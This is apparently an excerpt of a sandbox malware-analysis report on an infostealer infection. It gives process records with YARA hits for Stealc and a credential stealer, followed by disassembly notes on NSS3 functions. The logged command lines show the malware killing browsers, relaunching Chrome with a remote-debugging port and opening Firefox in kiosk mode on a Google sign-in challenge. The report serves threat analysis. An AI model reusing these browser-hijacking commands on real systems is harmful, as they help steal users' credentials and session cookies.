Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe"
Imagebase:	0xa80000
File size:	4'354'048 bytes
MD5 hash:	4C6BBA984AF9160DDE6F2E0DD0E0BC79
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 42%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	19:15:25
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008303001\lll.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008303001\lll.exe"
Imagebase:	0x560000
File size:	1'875'968 bytes
MD5 hash:	EF791B7D99A63481993AD96A9F043E71
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.3094239861.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.3017177770.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.3070076867.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.3042893343.0000000000FCA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.3017725584.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.3014750576.0000000000FD2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.3069247948.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.3100441873.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 45%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	19:15:34
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe"
Imagebase:	0xa10000
File size:	1'874'432 bytes
MD5 hash:	A60C25A4D738790AFD6DEE836C9A6370
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000003.3100359782.00000000011B1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000003.3156881759.00000000011B3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000003.3101454354.00000000011B1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000003.3179756932.00000000011B3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000003.3195731341.00000000011B4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000003.3125768013.00000000011B1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000003.3155016868.00000000011B3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000003.3126118900.00000000011B1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000003.3153596138.00000000011B3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 39%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	19:15:36
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7288 --field-trial-handle=2492,i,658567257854944745,5466770528173167105,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	19:15:43
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe"
Imagebase:	0x20000
File size:	1'769'472 bytes
MD5 hash:	D54B0C8F7977A9E67948BAB655FB380E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000003.3141631293.0000000004C60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.3192874994.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.3185387404.0000000000021000.00000040.00000001.01000000.00000012.sdmp, Author: Joe Security
Antivirus matches:	Detection: 50%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	19:15:47
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe"
Imagebase:	0xa10000
File size:	1'874'432 bytes
MD5 hash:	A60C25A4D738790AFD6DEE836C9A6370
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000020.00000003.3256935500.0000000001630000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000020.00000002.3308221521.0000000001628000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000020.00000003.3225665897.0000000001632000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000020.00000003.3223457600.0000000001630000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	19:15:50
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe"
Imagebase:	0xdb0000
File size:	922'112 bytes
MD5 hash:	22CF487CE98B0DA943AE302F604FB6B7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 26%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	19:15:51
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xf30000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	19:15:51
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	19:15:53
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	19:15:53
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xf30000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	19:15:53
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	19:15:53
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xf30000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	19:15:53
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	19:15:54
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xf30000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	19:15:54
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	19:15:54
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xf30000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	19:15:54
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	19:15:54
Start date:	22/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	19:15:55
Start date:	22/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	19:15:55
Start date:	22/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	19:15:55
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe"
Imagebase:	0x20000
File size:	1'769'472 bytes
MD5 hash:	D54B0C8F7977A9E67948BAB655FB380E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000030.00000002.3294866790.0000000000021000.00000040.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000030.00000002.3308546587.0000000000DFB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000030.00000003.3269947580.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	19:15:57
Start date:	22/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2192 -parentBuildID 20230927232528 -prefsHandle 2100 -prefMapHandle 2080 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f4bb5573-6e71-4f9d-8f1c-90fb1917cb05} 8356 "\\.\pipe\gecko-crash-server-pipe.8356" 214ed06f110 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 6C606E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C752120,6C607E60), ref: 6C606EBC
TlsGetValue.KERNEL32 ref: 6C606EDF
EnterCriticalSection.KERNEL32(?), ref: 6C606EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C606F25

Part of subcall function 6C5DA900: TlsGetValue.KERNEL32(00000000,?,6C7514E4,?,6C574DD9), ref: 6C5DA90F
Part of subcall function 6C5DA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C5DA94F

PR_Unlock.NSS3 ref: 6C606F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C606FA9
TlsGetValue.KERNEL32 ref: 6C6070B4
EnterCriticalSection.KERNEL32(?), ref: 6C6070C8
PR_CallOnce.NSS3(6C7524C0,6C647590), ref: 6C607104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C607117
SECOID_Init.NSS3 ref: 6C607128
PORT_Alloc_Util.NSS3(00000057), ref: 6C60714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C60717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6071A9
PR_NotifyAllCondVar.NSS3 ref: 6C6071CF
PR_Unlock.NSS3 ref: 6C6071DD
free.MOZGLUE(?), ref: 6C6071EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C607208
free.MOZGLUE(00000000), ref: 6C607221
free.MOZGLUE(00000001), ref: 6C607235
TlsGetValue.KERNEL32 ref: 6C60724A
EnterCriticalSection.KERNEL32(?), ref: 6C60725E
PR_NotifyCondVar.NSS3 ref: 6C607273
PR_Unlock.NSS3 ref: 6C607281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C607291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6072B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6072D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6072E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C607301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C607310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C607335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C607344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C607363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C607372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C740148,,defaultModDB,internalKeySlot), ref: 6C6074CC
free.MOZGLUE(00000000), ref: 6C607513
free.MOZGLUE(00000000), ref: 6C60751B
free.MOZGLUE(00000000), ref: 6C607528
free.MOZGLUE(00000000), ref: 6C60753C
free.MOZGLUE(00000000), ref: 6C607550
free.MOZGLUE(00000000), ref: 6C607561
free.MOZGLUE(00000000), ref: 6C607572
free.MOZGLUE(00000000), ref: 6C607583
free.MOZGLUE(00000000), ref: 6C607594
free.MOZGLUE(00000000), ref: 6C6075A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C6075BD
free.MOZGLUE(00000000), ref: 6C6075C8
free.MOZGLUE(00000000), ref: 6C6075F1
PR_NewLock.NSS3 ref: 6C607636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C607686
PR_NewLock.NSS3 ref: 6C6076A2

Part of subcall function 6C6B98D0: calloc.MOZGLUE(00000001,00000084,6C5E0936,00000001,?,6C5E102C), ref: 6C6B98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C6076B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C607707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C60771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C607731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C60774A
DeleteCriticalSection.KERNEL32(?), ref: 6C607770
free.MOZGLUE(?), ref: 6C607779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C60779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6077AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C6077C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6077DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C607821
PORT_Alloc_Util.NSS3(?), ref: 6C607837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C60785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C60786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C6078AC
free.MOZGLUE(00000000), ref: 6C6078BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C6078F3
free.MOZGLUE(00000000), ref: 6C6078FC
free.MOZGLUE(00000000), ref: 6C60791C

Part of subcall function 6C5E07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C57204A), ref: 6C5E07AD
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C57204A), ref: 6C5E07CD
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C57204A), ref: 6C5E07D6
Part of subcall function 6C5E07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C57204A), ref: 6C5E07E4
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,6C57204A), ref: 6C5E0864
Part of subcall function 6C5E07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C5E0880
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,?,6C57204A), ref: 6C5E08CB
Part of subcall function 6C5E07A0: TlsGetValue.KERNEL32(?,?,6C57204A), ref: 6C5E08D7
Part of subcall function 6C5E07A0: TlsGetValue.KERNEL32(?,?,6C57204A), ref: 6C5E08FB

Strings

Spac, xrefs: 6C607389
rdb:, xrefs: 6C607744
extern:, xrefs: 6C60772B
,defaultModDB,internalKeySlot, xrefs: 6C60748D, 6C6074AA
sql:, xrefs: 6C6076FE
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C6074C7
kbi., xrefs: 6C607886
NSS Internal Module, xrefs: 6C6074A2, 6C6074C6
dbm:, xrefs: 6C607716
dll, xrefs: 6C60788E

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 70aa81ecef9228571dda8c8639ae6232690136569ee4c9b714c3d67cb81528ae
Instruction ID: fad3cee51210e39482ba1355b7234d57e880896648db787953bef4ac3249dddc
Opcode Fuzzy Hash: 70aa81ecef9228571dda8c8639ae6232690136569ee4c9b714c3d67cb81528ae
Instruction Fuzzy Hash: 7C5213B1F002059BEF159F64CE09BAE7BB4BF06348F144138ED09B6A41EB71D958CB99

Function 6C62BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6C62C0C8

Part of subcall function 6C6B9440: LeaveCriticalSection.KERNEL32 ref: 6C6B95CD
Part of subcall function 6C6B9440: TlsGetValue.KERNEL32 ref: 6C6B9622
Part of subcall function 6C6B9440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6C6B964E

PR_EnterMonitor.NSS3 ref: 6C62C0AE

Part of subcall function 6C6B9090: LeaveCriticalSection.KERNEL32 ref: 6C6B91AA
Part of subcall function 6C6B9090: TlsGetValue.KERNEL32 ref: 6C6B9212
Part of subcall function 6C6B9090: _PR_MD_WAIT_CV.NSS3 ref: 6C6B926B

Part of subcall function 6C5E0600: GetLastError.KERNEL32(?,?,?,?,?,6C5E05E2), ref: 6C5E0642
Part of subcall function 6C5E0600: TlsGetValue.KERNEL32(?,?,?,?,?,6C5E05E2), ref: 6C5E065D
Part of subcall function 6C5E0600: GetLastError.KERNEL32 ref: 6C5E0678
Part of subcall function 6C5E0600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6C5E068A
Part of subcall function 6C5E0600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5E0693
Part of subcall function 6C5E0600: PR_SetErrorText.NSS3(00000000,?), ref: 6C5E069D
Part of subcall function 6C5E0600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,67CBE9A5,?,?,?,?,?,6C5E05E2), ref: 6C5E06CA
Part of subcall function 6C5E0600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6C5E05E2), ref: 6C5E06E6

PR_EnterMonitor.NSS3 ref: 6C62C0F2
PR_ExitMonitor.NSS3 ref: 6C62C10E
PR_ExitMonitor.NSS3 ref: 6C62C081

Part of subcall function 6C6B9440: TlsGetValue.KERNEL32 ref: 6C6B945B
Part of subcall function 6C6B9440: TlsGetValue.KERNEL32 ref: 6C6B9479
Part of subcall function 6C6B9440: EnterCriticalSection.KERNEL32 ref: 6C6B9495
Part of subcall function 6C6B9440: TlsGetValue.KERNEL32 ref: 6C6B94E4
Part of subcall function 6C6B9440: TlsGetValue.KERNEL32 ref: 6C6B9532
Part of subcall function 6C6B9440: LeaveCriticalSection.KERNEL32 ref: 6C6B955D

PR_EnterMonitor.NSS3 ref: 6C62C068

Part of subcall function 6C6B9090: TlsGetValue.KERNEL32 ref: 6C6B90AB
Part of subcall function 6C6B9090: TlsGetValue.KERNEL32 ref: 6C6B90C9
Part of subcall function 6C6B9090: EnterCriticalSection.KERNEL32 ref: 6C6B90E5
Part of subcall function 6C6B9090: TlsGetValue.KERNEL32 ref: 6C6B9116
Part of subcall function 6C6B9090: LeaveCriticalSection.KERNEL32 ref: 6C6B913F

Part of subcall function 6C5E0600: GetProcAddress.KERNEL32(?,?), ref: 6C5E0623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6C62C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6C62C183
free.MOZGLUE(00000000), ref: 6C62C18E
PR_LoadLibrary.NSS3(?), ref: 6C62C1A3
PR_EnterMonitor.NSS3 ref: 6C62C1D4
PR_ExitMonitor.NSS3 ref: 6C62C1F3
PR_CallOnce.NSS3(6C752318,6C62CA70), ref: 6C62C210
PR_EnterMonitor.NSS3 ref: 6C62C22B
PR_ExitMonitor.NSS3 ref: 6C62C247
PR_EnterMonitor.NSS3 ref: 6C62C26A
PR_ExitMonitor.NSS3 ref: 6C62C287
PR_UnloadLibrary.NSS3(?), ref: 6C62C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6C62C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C62C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6C62C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6C62C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6C62C7B5
PR_UnloadLibrary.NSS3(?), ref: 6C62C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6C62C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C62C8BF
PORT_Alloc_Util.NSS3(?), ref: 6C62C8D5
free.MOZGLUE(00000000), ref: 6C62C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C62C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C62C9E5
free.MOZGLUE(00000000), ref: 6C62CA5A

Strings

Vendor NSS FIPS Interface, xrefs: 6C62C34A
